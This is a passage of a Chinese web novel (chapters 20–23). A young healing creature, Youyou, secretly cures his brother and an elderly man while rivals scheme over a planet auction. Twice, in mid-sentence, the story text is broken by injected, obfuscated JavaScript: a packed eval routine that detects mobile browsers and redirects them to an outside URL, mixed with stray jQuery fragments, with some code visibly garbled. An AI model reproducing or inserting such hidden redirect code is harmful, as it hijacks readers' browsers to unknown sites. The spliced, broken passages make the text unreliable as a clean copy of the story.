自家崽子这么傻白甜,真的很让家长忧虑。 他摸了摸又又的栗色卷毛:“又又,你要给人治病可以,但你要学会保护自己,不要告诉别人你有治愈的能力。” 又又:“诶?” 他不明白,食病兽吃掉病病难道不是一件好事吗? 为什么不能告诉别人呢? 似乎看出了又又的疑惑,江从谦温声跟他解释道:“又又,你给人治病没有错,你是个好孩子,但是这个世界上还有很多坏人,哥哥很害怕他们会伤害你。” “在哥哥心里,又又才是最重要的!就算不能治愈别人也没关系。” 又又看着哥哥担忧的神情,心里不知道为什么,有点酸酸的。 从他诞生起,长老们就告诉他,食病兽最重要的使命就是吃掉病症。 等到学会所有课程,成年了,他就会被赶出帝山,去到陌生的人类世界。 从来没有人担心他会不会受到伤害。 也从来没有人告诉他,就算不能治愈也没关系。 所以,这就是哥哥说的家人吗? 又又的心里又开始酸酸的了,但除了酸,好像又有点高兴。 像是有小泡泡,一点一点从心里冒出来,让他整个崽都有点轻飘飘的。 “哥哥~”小幼崽不知道怎么表达感情,只能拿头猛蹭哥哥的脖颈,把自己一头小卷毛都弄得乱糟糟的。 江从谦被蹭得心脏都软趴趴的。 真的不能怪他没有定力。 这么可爱的弟弟谁能不宠着! 江从谦正享受着兄弟间温情脉脉的一刻。 下一秒,他就看到自家乖巧可爱的弟弟抬起头,眼睛亮晶晶地看着他:“哥哥,那咱们赶紧出发吧!我已经迫不及待了!” 江从谦:“……” 20.第 20 章 又又跟着哥哥进了医院。 一进入诊室,乐清沅就笑眯眯地跟他打招呼:“又又,又来陪哥哥啦?” 又又想说,他可不只是陪哥哥,他还有更重要的事情要做呢! 但是答应了哥哥要隐瞒自己治愈的能力。 那就只能骗清沅哥哥了。 小幼崽表情紧绷,用力地点点头。 乐清沅被他的表情萌得肝颤:“又又真是太可爱了!” 可恶! 今天也是想偷孩子的一天! 又又只待了一会,就有些坐不住了,眼巴巴地看着江从谦:“哥哥~” 江从谦一听那带着波浪线的哥哥,就知道小幼崽是想溜出去了。 他叫来护卫,又叮嘱了一番又又,让他不要跑太远。 又又心不在焉地点头。 等江从谦一松手,就跟小狗似的撒手没。 江从谦:“……” 乐清沅幸灾乐祸:“又又好像也不是很在乎你这个哥哥嘛!” 江从谦面对他,就完全没有了对弟弟的温柔。 只是冷冷一瞥,乐清沅就举手投降:“好好好,我不说了。” 江从谦淡淡道:“先去检查。” 这种检查,江从谦这十年间已经做过无数回了,却从未像现在这样期待结果过。 为了保密,他的检查结果向来都是由乐清沅全程负责的。 但这一回乐清沅去的时间比预计的要长一些,回来的时候,衣服也有些凌乱。 一见到江从谦,便忍不住抱怨:“新来的实习生简直毛手毛脚的,试剂都能送错地方,还差点撞我身上,幸好我身体灵活……” 江从谦凉凉道:“送错地方?那可未必。” 乐清沅愣了一下,很快便反应了过来,这人是故意的,目的……八成就是打探江从谦的病况。 早年江从谦得病的谣言传出来时,他每次给他做检查就跟特工似的。 这两年好不容易消停点,这好端端的,怎么又开始了? 听得乐清沅的疑问,江从谦风轻云淡道:“当然是因为,我患病的消息被泄露了。” 乐清沅震惊,随即便道:“谁泄露的?我先声明,我嘴可是很严的,绝对不是我!” “我知道不是你。” 听见江从谦笃定的语气,乐清沅狐疑道:“看样子,你知道是谁泄露的?” 江从谦点点头:“知道。” “是谁?” “我。” 乐清沅瞪大眼睛:“你疯了!” 自己给自己挖坑啊! 江从谦还没说话,乐清沅便喃喃道,“难道你的病其实没好,反而是异能提前崩溃了,脑域进化变成了白痴……” 江从谦:“……” 他挑了挑眉,声音似乎还含着几分笑,“我异能有没有崩溃,你可以试试。” 乐清沅立刻就闭上了嘴,露出乖巧的表情。 试试就逝世。 他可不敢得罪江从谦的脑子。 何况,他亲手做的检测,这异能有没有问题,他还能不知道。 刚刚也真是傻了。 “总之,这件事我自有安排。” 江从谦并没有细说原因。 事实上,他之所以这样做,主要是为了保护又又。 正如慕越猜测的那样,江从谦早就知道有人在查又又的信息。 这些人抓不住他的把柄,便试图从其他地方入手,又又这个刚被找回来的,年纪幼小的弟弟,就成了他们认为的漏洞。 如果只是对付他本人,他绝不会说什么。 可他们不该将主意打到又又身上。 江从谦行事向来稳重温和,并不像慕越那样睚眦必报,可越是这样的人,发起脾气来才会越可怕。 江从谦可不止是想要砍掉他们的爪子,更是要杀鸡儆猴。 可是比起这些,又又的安全却是最重要的。 因而,他才故意放出自己患病的消息,吸引那些人的注意,从而不让他们再去打又又的主意。 不过这些就没必要告诉乐清沅了。 乐清沅与他认识多年,这点默契还是有的,便比了个手势:“知道了,那我需要做什么?” “你跟平常一样就行。”江从谦道,“必要时候可以放出我的病情,只要隐瞒好我好转的消息就行。” “剩下的,我会解决。” 江从谦说得云淡风轻,乐清沅却下意识打了个哆嗦。 江从谦上次说这样的话,还是在四年前。 江元帅的政敌勾结星盗抢走又又,母亲去世,九壤集团内部发生骚乱,有人想要趁机夺权。 结果就是这些人被流放到了边境星,至今都没能回来中央星系,而九壤集团则从此成了江从谦的一言堂。 也不知道这次又有哪些倒霉鬼被流放…… - 又又自从得了哥哥的允许,就再也不用偷偷摸摸的了。 他带着两名护卫,大摇大摆地朝疗养区那边走去。 只是走着走着,他就忽然停下了脚步。 他想到,上次那个爷爷是一个人坐在湖边的。 既然哥哥的病需要保密,那爷爷的病是不是也需要保密呢? 小幼崽正在慢慢学习人类社会的知识,最近正好学到“公平”。 他想,他没有告诉爷爷,自己的哥哥是谁。 那么公平起见,他也不能把爷爷的病告诉哥哥。 于是,他转头跟两名护卫商量:“护卫哥哥,你们能不能不跟我过去?” 两名护卫对视一眼。 在来之前,先生就跟他们说过,如果又又要去疗养区,他们就不必跟进去,在外面守着就好。 还真是被说中了。 又又也没想到,居然这么顺利! “那就说定了,你们可不能偷看哦!”又又想了想,又举起手,“拉钩钩!” 两名护卫不由得沉默了。 风里来雨里去,受伤中弹眉头都不皱一下的铁血硬汉,此生面临的巨大挑战居然是拉钩。 但又又性格执拗,非要拉钩才算数。 于是两人只能忍着羞耻,一一跟他拉钩盖章。 是的,秉承公平的又又,认真地跟两人都拉钩之后,才心满意足地朝疗养区走去。 还没靠近,就闻到了熟悉的味道。 又又一眼就看到了坐在湖边的慕疆。 不过这一次他吸取了上次的教训,可不敢快跑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968390|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而是手指往前戳,确定没有戳到空气墙,才又小心翼翼地往前迈一步。 早在又又的身影刚出现的时候,慕疆就看到他了。 自从上次见过又又之后,他就时不时往湖边来坐坐了。 结果等了好几天,才看到又又出现。 见他跟个小乌龟一样,一戳一走的。 慕疆忍不住笑起来:“小孩,我已经把空气墙关了!” 又又听见他这么说,便收回了戳戳戳的手指,“哒哒哒”地朝他跑过去。 慕疆下意识就弯下腰。 霎时,一团暖融融就撞进了他怀里。 这次小幼崽倒是干干净净的,完全没有上次一身泥的狼狈样。 但慕疆还是习惯性地拍拍他膝盖的灰,又拿出手帕给他擦汗湿的头发。 一边擦还一边教训他:“你这小孩,一点心眼都没有,万一我是骗你的呢,你就这么跑过来,可不得栽个大跟头!” 又又震惊地看他:“为什么要骗我?” 慕疆被哽了一下:“我是说万一,哎,上次不是还挺聪明的吗?” 一问家里人,一溜烟就跑了。 又又一边吃,一边还不忘夸一下自己:“我就是很聪明。还有,我叫又又,不叫小孩,你这样很没有礼貌!” 慕疆被他这一本正经的样子逗得差点笑出声。 “好好好,又又。” 又又这才满意,又“吭哧吭哧”地埋头苦吃起来。 慕疆只觉得身心舒畅。 他发现每次跟又又待在一起都很开心,似乎连病痛都好了很多。 慕疆自然不会觉得是自己病情好转,只以为是情绪影响了病情。 他摸着下巴,思考着认个干孙子的可能性。 两人各忙各的,虽然没有说话,气氛却格外温馨。 又又惦记着一会再去吃点别的,于是非常克制地吃了六分饱就停下了。 他擦了擦嘴,礼貌地跟慕疆告别:“我先走了。” 慕疆愣了一下,有点舍不得:“怎么才待这么一会就走?” 又又想起哥哥经常安慰自己的动作,抬手摸了摸慕疆的头发:“我下次再来看你哦~” “没大没小!”慕疆嘴上抱怨着,脑袋却动都没动一下。 小幼崽从他的怀里跳下来,原本暖融融的怀里瞬间就空荡荡的了。 慕疆看着他头也不回的背影,就像猫咪吃完零食就走,完全不搭理身后眼巴巴的铲屎官。 下一秒,慕疆就听见他好大孙的声音:“什么猫咪?” 慕越顺着爷爷的目光看去,只看到一个小孩的背影。 看着……有几分眼熟? 不过他没有多想,转而继续关心爷爷:“爷爷,您想养猫啊?” “我养你个头!”慕疆习惯性地敲了他一个爆栗,“不去好好工作,又来干嘛?” 慕越无奈:“还能干嘛?医生说您又把检查逃了,这都两次了!” 慕疆被孙子戳破,却一点都不觉得羞愧:“查查查,就知道查!查了又治不好!有什么用!” 慕越:“爷爷……” 慕疆看着孙子带着疲惫的眉眼,最终还是没舍得再为难他,没好气道:“查!我查总行了吧!” 21.第 21 章 奥尔顿庄园内,几名与奥尔顿关系密切的商界人士正在聚会。 言谈之间,有人忽然提起江从谦:“你们听说了吗?外头现在都在传,说江从谦得了异能崩坏症!” “这不是传了好多年了?”有人嗤之以鼻。 “这次不一样,传得是有鼻子有眼的。” “可不是,我也听说了,感觉挺真的……” 现场的气氛顿时便火热起来。 毕竟那可是江从谦啊! 在座的,哪个没做过他的手下败将。 对于脑域强化这个异能,更是又羡又恨。 羡慕它的强大,又痛恨这份强大不属于自己。 如果江从谦真的得了异能崩坏症,他就无法再随心所欲地动用异能。 没有异能的江从谦,跟个普通人有什么区别! 那么,他们岂不是有机会把他拉下来? 然而,却有人给他们泼了盆冷水:“江从谦这个人心思深沉,智多近妖,四年前九壤集团那事你们都忘了?不怕被流放去边境星的就尽管去好了。” 这话一出,原本还讨论得兴致勃勃的众人忽然就是一静。 坐在上首的奥尔顿却是不急不缓地开了口:“都还没对上江从谦,怎么就长他人志气灭自己威风了?” 众人一听他这话,就知道他指定是知道点什么,于是急忙去问。 奥尔顿笑起来:“江从谦得病这事千真万确,他现在不过是强撑着一口气罢了。” “真的?” “奥尔顿先生说的还能有假!” “可是,以江从谦的手段,不可能任由这消息扩散吧?” “这有什么不可能的,江从谦再厉害也是人,何况这不正说明他病情严重,限制使用异能吗?” …… 奥尔顿等他们讨论一会,才慢条斯理地说道:“从前都是江从谦吃大头,我们这些人跟着喝点汤,如今这规矩也该变一变了!” 现场骤然一静,但很快就爆发出更喧闹的声音。 “没错!我早看那小子不顺眼了!” “就是,以为所有人都要捧着他似的。” “奥尔顿先生您说怎么做,我们跟您做!” 奥尔顿笑起来:“我的确有个计划,我发现江从谦最近在晶髓矿星这个项目上有些急躁,再联系他得病这件事,我猜,九壤集团内部恐怕出了什么问题……” 所有人呼吸一窒。 如果说,奥尔顿之前的话,只是让这些人有些心动。 那眼下他就是将一大块肥肉放在他们的面前。 毕竟项目什么的,就算没有江从谦,他们也不过是换到另一个人手下喝点汤。 可如果九壤出事,那就不一样了。 所谓一鲸落万物生。 他们就算只从九壤身上扒下一点,身家也能翻个倍。 听着比之前热闹真诚得多的讨论,奥尔顿微微笑起来。 等到所有人都离开,奥尔顿的心腹才上前道:“这些人连江从谦的一根指头都比不上,先生为什么要拉着他们一起?” 奥尔顿惬意地给自己点了一根雪茄:“江从谦可不简单,就算没有异能,他也不是那么好对付,但是嘛……蚁多咬死象,江从谦再有能耐也扛不住……” 说到这里,他忽然想到还有一只最大的杀人蚁。 于是,他转头对心腹道:“给我约一下慕越。” 心腹应是后,又想到了什么:“先生,还需要关注江从谦那个弟弟吗?” 之前奥尔顿知道江从谦那个宝贝弟弟找回来了,的确有想过用这个孩子来威胁他的。 但现在有了更好的把柄,也就没必要了。 他毫不在意道:“一个孩子而已,无关大局,不用理会了。” - 慕越赴约时明显有些心不在焉。 奥尔顿叫了他两遍,他才反应过来:“不好意思,你刚刚说什么?” 就算奥尔顿在外人面前一直表现得像个好好先生,此刻表情也有些僵硬了:“我是说最近那则有关江从谦的传言,慕先生有什么看法吗?” 慕越愣了一下。 江从谦?传言?什么东西? 他最近完全没有关注这些,而是一直忙于爷爷的事。 那天他陪爷爷去做检查,却震惊发现,爷爷的异能崩坏度居然降低了!!! 自从爷爷患病后,慕越便查阅了不少有关异能崩坏症的信息。 他当然知道这意味着什么。 那一瞬间,慕越快被当头的喜悦给砸晕了。 他第一时间就握住了主治医生的手,拼命地感谢他。 却没想到,主治医生和他一样震惊。 没有人知道,慕疆老爷子的异能崩坏度到底是怎么降低的! 于是,原本还沉浸在兴奋中的慕越,又变得焦虑起来。 最近他每天都在关注爷爷的病情,哪有心情理会别的。 不过,他也不会因此在奥尔顿面前表露出来,便只是淡淡道:“没什么看法。” 奥尔顿皱起眉头,却还是劝道:“慕先生,这实在是个难得的机会……” 慕越只听了一会,便猜出了那所谓的传言是什么。 不知道为什么,他总觉得有点不对。 两年前就有过类似的传言,只是很快就在江从谦的铁腕下不了了之。 如果这消息是真的,他可不信江从谦会任由这种事发生第二次。 说实话,他虽然讨厌江从谦。 但客观评价的话,奥尔顿这些人加起来都不够他玩的。 因而,在奥尔顿热情邀请他一同加入,围剿江从谦的行动时,他直接便拒绝了。 当然,他也不可能去好心提醒江从谦。 他甚至在心里阴暗地想,最好这两人鹬蚌相争,好让他渔翁得利。 说罢,他也懒得管奥尔顿铁青的脸色,转身就离开。 上了悬浮车,司机问道:“先生,现在是去医院吗?” 慕越点点头。 在现在的他看来,什么江从谦,什么晶髓矿星,都比不上爷爷的病重要。 - 此时的疗养区内,慕疆正在给又又表演抛球绝技。 六颗球在慕疆两手之间来回抛接,不时还来点花式。 看得小幼崽眼花缭乱,“啪啪啪”地鼓掌:“好厉害!!!” 慕疆得意地扬起眉毛,收回异能,六颗球纷纷落回他掌心,故意在又又面前晃了晃:“厉害吧!想不想学?” “想!”又又积极举手。 慕疆露出老狐狸似的笑容:“那你叫我一声爷爷?” 毫无戒心的小幼崽乖乖的:“爷爷!” “哎!乖孙!”慕疆目的得逞,摸了摸干孙子毛茸茸的小卷发,抓着他的手教他玩球。 又又震惊地看着六颗球在自己两只手间盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975479|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋。 慕疆笑眯眯的控制着异能,把小幼崽逗得惊呼不断。 要是往常,动这么一会异能,他就该疼起来了。 但自从上次检查,发现异能崩坏度降低后,他终于能再次使用异能,只是每天仍然有时间限制。 想到这里,他也有些郁闷。 自那天后,他每天都会检查一次异能崩坏度。 可是第一天,没有任何变化。 第二天,也没有任何变化。 连着四五天,异能崩坏度再也没有降低。 有了希望又再次绝望是最痛苦的。 即便是慕疆这样经历过大风大浪的人,也无法克制自己的情绪。 暴躁、消沉、自暴自弃。 可是,抱着软绵绵的小幼崽,听着他稚气的声音,以及他周身混杂着清新草木气息的奶香。 那些负面情绪,竟不知不觉地消失了。 想到这里,慕疆又一次生出不甘,这么可爱的崽,为什么不是自家的! 不过,当不成亲孙子,当个干孙子也挺好的。 慕疆美滋滋地想着,然后就听见自己的真·亲孙子震惊道:“是你?!” 慕疆和又又这一老一小同时抬起头。 慕越怎么都没想到,爷爷之前跟他念叨的小朋友,竟然是江从谦的弟弟! 难怪他上次觉得那个背影眼熟呢! 慕疆顿时意识到了什么:“你们认识?” 慕越:“认识。” 又又:“不认识。” 慕越:!!! 他怒瞪这个小没良心的,上次谁说的“哥哥好香”“喜欢哥哥”的,怎么翻脸不认人呢?! 又又满脸无辜。 让一只食病兽记住病人,就好比让一个人去记住一块牛排,这怎么可能嘛! 慕疆虎着脸,一把拍掉慕越的手指:“你干嘛!别吓着又又!” 慕越:……?!! 他不可置信地看着爷爷。 这怎么还胳膊肘往外拐呢! “你知道他是……”慕越看着睁着大眼睛的又又,话说到一半又咽了回去,总不能在人家小孩面前说他哥哥的坏话。 慕疆不耐烦地“啧”了一声:“你来干嘛的,没事就赶紧回去工作,别打扰我们爷孙俩相处。” 慕越:“……” 但面对亲爷爷的血脉压制,他也只能忍气吞声道:“我接您去做检查。” 为了保证检查的准确度,每天的检查时间都是固定了。 因而,慕疆就是再怎么不舍,也只能跟又又告别。 等到慕越把他推到检查室,看到那些熟悉的仪器,慕疆先前的好心情瞬间消失。 他靠在轮椅上,几乎不抱什么希望地看着主治医生推门进来,失望地告诉他,异能崩坏度没有变化。 这样的场景最近每天都在重复。 然而,这一次却不一样。 主治医生脸上带着不可置信的笑:“有变化!异能崩坏度又降低了!!” 慕疆:!!! 慕越:!!! 慕越一把抢过主治医生手上的检查报告,焦急地看去,上面明确显示异能崩坏度降低了0.1%。 他和爷爷对视一眼。 慕疆今天和前几天的日常完全没有变化,如果一定要说变化的话。 两人都不约而同地想到了同一个人。 又又! 22.第 22 章 好不容易把主治医生忽悠走,房间里顿时陷入安静中。 慕越咽了口口水,看向爷爷。 “爷爷……” “小越啊……” 两人同时开口,顿了顿,再次异口同声,“你先说。” “算了,你先说吧。”慕疆按了按额头,他老人家现在还觉得脑袋木木的。 之前一些没注意到的细节,此刻才一点点回想起来。 他每次见又又的时候,都会很舒服。 上次检查时,他异能崩坏度降低,不正是刚见完又又吗? 慕越的脑子也是乱乱的。 他忽然想到。 第一次遇见又又时,原本胃痛、头痛,手上也受伤了,可是后来去检查,却一点毛病也没有,手上的伤也痊愈了。 当时他只以为是自己异能者身体强悍,自愈了。 但现在看来,难道也是又又治愈的? 祖孙俩都沉默了,默默地消化这个事实。 最终还是慕疆先开口:“不管怎么说,又又都救了我!我们不能揣着明白装糊涂,白占人家便宜,一会你准备好礼物,我们上门去拜访。” 慕越张了张嘴,却说不出话。 慕疆皱起眉头:“怎么?有什么问题?” 慕越苦笑。 如果又又是别人家的孩子,那他现在肯定欣喜若狂,立刻就和爷爷上门去拜访。 但又又,偏偏是江从谦的弟弟啊! 他语气艰涩地说出又又的身份。 慕疆听完,也沉默了。 作为慕氏集团的实际掌权者,他自然是知道自家孙子和江从谦之间的过节。 慕越自然也想到了,脸色一下变得很难看。 他想起又又对哥哥的维护。 小幼崽说起哥哥的时候,眼睛里都是星星。 慕越现在都还记得,他用奶呼呼的声音说“哥哥超级超级好”。 想到这里,他嫉妒得面目全非。 江从谦运气怎么这么好! 而且,他对又又也很好。 哪怕他阴暗地想要去挑拨两人的兄弟关系,都无从下手。 到现在,慕越才明白过来,为什么会忽然出现江从谦得病的消息。 就是江从谦为了保护又又,故意放出来的。 他得病这件事肯定是真的,但是有又又在,肯定没什么事,说不定早都治愈了。 他故意放出消息,其实是在钓鱼,把那些蠢蠢欲动的人都一网打尽。 江从谦这个阴险、毒辣、心机深沉的男人。 他要是知道又又救的是自己的爷爷,不知道会在心里多得意。 说不定就不会允许又又再来给爷爷救治了,再不然也会借此来威胁什么吧。 就算他不从中作梗,可只要他告诉又又,自己跟他是死对头。 又又肯定也不会再来了。 - 又又并不知道他们的悲喜交加。 他摸着饱饱的肚皮,喜滋滋地回到哥哥的诊室。 乐清沅正好在跟江从谦说起后续的治疗方案:“……你异能崩坏度下降的趋势比我预想的还要好,你头疼的频率和时长应该也在减少,止疼药的药量可以往下调整了,舒缓剂也可以暂时停了。” 说到这里,乐清沅都有些恍惚。 自从他从医以来,还是第一次碰到这种情况。 他不禁半开玩笑道:“照这个趋势下去,说不定一年时间,你的异能崩坏度就能降到5%临界线以下……” 低于临界线,也就意味着江从谦的病算是痊愈了。 这消息要是传出去,只怕整个星际都会为之震动,甚至改变整个异能医学发展史! 江从谦不置可否。 又又却好奇地问:“一年……是多久啊?” 乐清沅低头看着认真的小幼崽,笑眯眯地比了个距离:“一年嘛,就是等又又再长高这么多就到了!” 又又偏着头。 管家叔叔每天都给他量身高,但是根本就没有变化。 要长到清沅哥哥说的那么高,还要好久好久呢! 小幼崽鼓着脸颊,垂头丧气。 不过他很快又振奋起来。 管家叔叔说了,只要又又好好吃饭,很快就会长大的。 所以,他要更努力地吃掉病症,才能很快长大,哥哥的病才会好! 小幼崽握紧拳头:“我会快快长大的,哥哥的病也很快就会痊愈的!” 乐清沅被萌得不行,对江从谦羡慕嫉妒恨:“啊啊啊啊!又又太可爱了!!江从谦你这混蛋我要跟你决斗!!” 江从谦:“……滚。” 他低头看着从刚刚开始就一直在打哈欠的又又:“又又是累了吗?” 又又迷糊着点点头,下意识朝他张开双手。 江从谦熟练地将他抱起来:“哥哥抱着你,睡吧。” 又又今天吃得太撑了,趴在哥哥怀里,没一会就睡着了。 江从谦见又又睡熟了,又稍微调整了一下身体,好让他睡得更舒服。 这才压低声音道:“我带又又先回去了。” 乐清沅看得啧啧称奇。 从前他哪能想到,江从谦也会有这样温柔体贴的一面。 江从谦抱着又又坐上悬浮车,但到了车上也没有将又又放下来。 小幼崽的脸蛋睡得红扑扑的,体温、心跳等身体监测也都在正常范围内。 江从谦这才松了口气。 因为此前没有出现过治愈相关的异能。 但凡又又有一些风吹草动,江从谦就会很紧张。 为此,他还专门找了一位儿科医生作为顾问,从他口中得知,异能者幼年时,因为异能不稳定,所以在使用异能后,很容易感觉到疲惫。 只是身体情况没有异常,就没问题。 等到了庄园,江从谦又抱着又又回房间。 谁知刚放下来,又又就揉着眼睛醒了过来:“哥哥。” 江从谦不动声色地甩着酸麻的手臂:“醒了?” 又又吸了吸鼻子,然后软乎乎地抱住他:“哥哥手不痛痛~” 江从谦感觉到手臂的酸麻瞬间消失无踪。 他有些无奈地摸了摸又又的头 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不管是放弃晶髓矿星的项目,还是要他们慕氏的财产,亦或者是需要他磕头认错,被江从谦羞辱,他都可以。 只要能让又又救爷爷。 谁知慕疆知道后,气得差点从轮椅上站起来:“臭小子!你在干什么!” 慕越梗着脖子:“只要又又能救你,做什么我都愿意!” “你!”慕疆想骂人,可看着孙子那倔强的表情,却根本骂不出口,他像是被抽走了精气神,颓然地靠在轮椅上,“财产、项目都可以给出去,但如果要用你的尊严来换,我宁肯不要这条命!” “爷爷!” 两人心里都清楚。 又又的能力是独一无二的。 这世上患病的异能者那么多,只要又又愿意,他想要什么都唾手可得。 而治疗他这样一个糟老头子又有什么用呢? 他们给不了任何东西,甚至慕越和他的哥哥还是死对头。 说到底,人家才是亲兄弟。 又又就算不救慕疆,也完全说得过去。 慕疆叹了口气,并不怪又又。 换成是他,恐怕也会做同样的选择。 他看着慕越通红的眼眶,第一次没有骂人,而是温和地拍了拍他的肩膀:“爷爷年纪大了,已经够了。你不要怪又又,没有他,爷爷得了这个病,本来也是要死的,人家救我是情分,不救是本分,我们做人不能没良心……” 慕越死死地咬住牙根,身体微微颤抖。 就在这时,远处忽然传来一个稚嫩的声音:“爷~爷~” 慕疆忽然坐直了身体:“你……有没有听到什么声音?” 慕越愣住:“好像……是又又的声音……” 但是那怎么可能! 又又是不可能再过来的。 祖孙俩对视一眼。 完了! 不会出现幻听了吧! 23.第 23 章 慕越循着声音,扑到了窗前。 慕疆房间的窗户正对着那片湖泊。 慕越看到,又又就站在湖边,手拢在嘴边在喊人。 慕越神情茫然。 他这是不止幻听,还出现幻觉了吗? 慕疆见孙子呆呆地站在窗前,要不是自己行动不便,恨不得一脚踹开他,自己去看。 “你看到什么了,倒是说啊!” 然而慕越回过神,却是直接推着慕疆就往外跑。 慕疆刚想开口,就被灌了一口冷风。 他牢牢地把着扶手,惊疑不定:孙子该不会疯了吧! 慕越推着轮椅风驰电掣地来到湖边。 离近了。 两人才意识到,这并不是幻听,也不是幻觉。 这真的是又又! 慕疆怔怔地看着面前的孩子,下意识问道:“又又,你怎么在这?” 又又歪了歪脑袋,疑惑道:“我们不是约好了吗?” 上次分开时,又又就和慕疆约好了今天再见。 只是慕疆根本就没有想过又又还会过来。 又又扬起下巴,有点生气:“爷爷你今天迟到了!” 又又准时赴约,又又好。 爷爷迟到,爷爷坏。 慕疆反应过来,连忙跟又又道歉。 “好叭!”又又很轻易就被哄好了,“下不为例哦!” 慕疆心情复杂。 竟然还有下次吗? 一旁的慕越却忍不住了:“又又,你……” 他本想问,你还会给爷爷治疗吗? 可是对上又又那双澄澈的绿眸,忽然就什么都说不出来了。 又又等了半天,也没有等到他下半句话,不禁皱起眉头。 这个哥哥年纪轻轻的,难道也得了健忘症? 想到曾经失之交臂的健忘症,又又忍不住碰了碰慕越的手。 可是,完全没有! 这个哥哥健康得很! 又又郁闷地松开了手。 什么嘛! 浪费崽的表情。 他“噌噌噌”地爬到慕疆身上坐好,大吃了一口,才趴在他耳边小声告状:“这个哥哥坏……” 又又自以为说话的声音很小。 却不想异能者的五感比一般人灵敏,慕越全部都听到了。 慕越身体微微一震。 所以,又又肯定知道自己和他哥哥是死对头了。 但即便是这样,他依然赴约,来找爷爷了。 他心中涌起感动,同时又夹杂着羞愧。 慕疆心情亦是复杂。 他怎么都没想到,又又来给他治疗,竟然是这么简单的原因。 只是因为他们之前约好了。 和这样纯稚的孩子一比,他们满脑子的利益纠葛显得是如此可笑。 又又只觉得今天的爷爷格外安静。 平常他都会跟自己说话,还会给他表演一些绝技,但今天他不仅不说话,还总是用一种很复杂的目光看着自己。 还有那个哥哥,也是一副坐立难安的样子。 要不是又又知道他没有病,还以为他这是得了痔疮呢! 这些大人,真是奇奇怪怪的。 小幼崽进食完毕,礼貌地跟慕疆他们告别。 慕疆这才回过神般:“又又,对不起。” “?”又又一脸茫然,“为什么要对不起?因为迟到吗?没关系,你已经道过歉了。” 慕疆哑然,但最终还是没忍住:“又又,你哥哥知道吗?他……有没有说什么?” “知道啊。”又又没有多想,“哥哥说,只要又又开心就好。” 慕疆微微一震。 但又又已经心满意足地离开了。 只剩下慕疆和慕越祖孙俩,久久没有说话。 最终还是检查时间到了,医护人员过来找他们,将慕疆推去检查。 检查结果很快就出来了。 没有意外的,慕疆的异能崩坏度又降低了。 慕越看着这份检查报告,只觉得悔恨不已。 不管江从谦是个什么样的人。 但又又是又又,他是真心来给爷爷治疗的。 自己却以小人之心度君子之腹,一次次误会了他。 慕疆拍了拍孙子的肩膀,他又何尝不是呢? 如今,这份感激混杂着愧疚的心情,让他恨不得能立刻为又又做些什么。 慕越当即便道:“几天后的竞拍会,我就不参加了。” 那颗晶髓矿星,他不跟江从谦争了。 然而慕疆却摇摇头:“不,正因如此,我们才要去。” - 近来,中央星系最大的新闻,就是三年一度的星球竞拍会了。 尤其今年的竞拍会压轴的,还是一颗非常有价值的晶髓矿星。 因而竞拍会还没开始,就已经非常热闹了。 不少人都拿着酒杯三五成群地聊天,只是怎么聊,话题都避不开这场竞拍会的中心人物。 “江先生真是宠爱弟弟,不仅带人来参加竞拍会,还一直抱着!” “可不是吗?以前可没看出来,他竟然是个弟控!” “什么弟控,人设罢了,听说这孩子是刚找回来的,能有什么感情?” “不会吧,听说他对弟弟很好啊,一直带在身边,想要什么就给什么,一点都没有亏待。” “那点东西对江从谦的身家来说,九牛一毛而已。” “就是,豪门塑料兄弟情罢了……” …… 人群外的讨论,并没有影响到又又。 从他回来后,这还是第一次出现在这种公众场合。 之前,哥哥只是带他去见了一些亲近的长辈们。 很多人听说过他的名字,却没有见过他。 小幼崽穿着和哥哥同款的礼服。 然而同样的衣服,穿在江从谦身上是玉树临风,在他身上就只剩下可爱了。 原本整齐的栗色头发,不知何时翘起一根呆毛,碧绿的眸子因为犯困泛起水雾。 因为被哥哥抱着,所以露出一小节藕节似的小腿。 在一群正装严肃的大人之中,忽然出现了这么个小可爱,谁见了不侧目啊。 要不是有江从谦那张冷淡的脸震慑着,就这么一路走来,又又的小脸都不知道要被揉捏多少下。 又又完全没有危机意识。 看到现场那么多人,小幼崽先是兴奋。 但很快,他就发现,这么多人里,几乎没人生病。 他愤愤地又啃了一口哥哥身上的病。 江从谦只以为小幼崽是无聊了,于是摸了摸他的额发:“竞拍会马上开始了,哥哥先带你去位置上?” 他话音刚落。 不远处,奥尔顿带着一众人浩浩荡荡走来,笑眯眯地对江从谦道:“江先生,好久不见,身体如何?” 江从谦目光一闪,却也只是笑了笑:“承蒙奥尔顿先生挂念,我一切都好。” 奥尔顿脸上笑意更深,只当他是在强 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“哈哈哈哈,他要真把晶髓矿星送弟弟,我倒立吃屎!” 一旁的奥尔顿见状,冷笑一声。 你今晚也就只能拍这一颗垃圾星了! 在众人的期盼之下,终于轮到了晶髓矿星的竞拍。 随着主持人的示意,一颗晶莹璀璨的粉色星球出现在众人眼前。 那种极致的美丽,瞬间让现场众人都发出了惊叹。 光是这颗星球的外表,便已经将前面的所有星球都比了下去。 更别提这颗星球上的晶髓产量有多惊人了。 “纳妮斯星系,菲克星区,编号NJS-219号能源星,晶髓矿储备量……” 随着主持人念出这颗晶髓矿星的各项指标,现场的气氛也逐渐开始升高。 奥尔顿抢先开口:“两百亿!” 这个价格让现场又是一阵惊呼。 毕竟前面所有星球的竞拍价,加起来还没有两百亿呢! 